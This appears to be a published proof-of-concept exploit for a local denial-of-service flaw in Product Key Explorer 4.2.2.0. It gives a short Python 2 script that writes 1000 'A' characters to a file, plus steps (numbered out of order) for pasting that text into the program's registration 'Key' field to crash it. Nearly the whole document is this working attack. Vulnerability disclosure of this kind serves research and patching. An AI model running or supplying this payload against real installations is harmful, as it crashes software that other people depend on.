# Exploit Title: Product Key Explorer 4.2.2.0 - 'Key' Denial of Service (PoC) # Discovery by: 0xMoHassan # Date: 2020-04-04 # Vendor Homepage: http://www.nsauditor.com # Software Link: http://www.nsauditor.com/downloads/productkeyexplorer_setup.exe # Tested Version: 4.2.2.0 # Vulnerability Type: Denial of Service (DoS) Local # Tested on OS: Windows XP - SP3 # About App # Product Key Explorer is a powerful product key finder solution for Windows, designed to help users find, # recover and backup activation keys for +9000 popular software programs installed on local or network computers. # PoC # 1.Run the python script, it will create a new file "POC.txt" # 3.Run Product Key Explorer and click on "Register -> Enter Registration Code" # 2.Paste the content of POC.txt into the Field: 'Key' # 6.click 'ok' # 5.Magic happen :) #!/usr/bin/env python buff = "\x41" *500 buff += "\x41" * 500 try: f=open("POC.txt","w") print "[+] Creating %s bytes payload.." %len(buff) f.write(buff) f.close() print "[+] POC created!" except: print "POC cannot be created"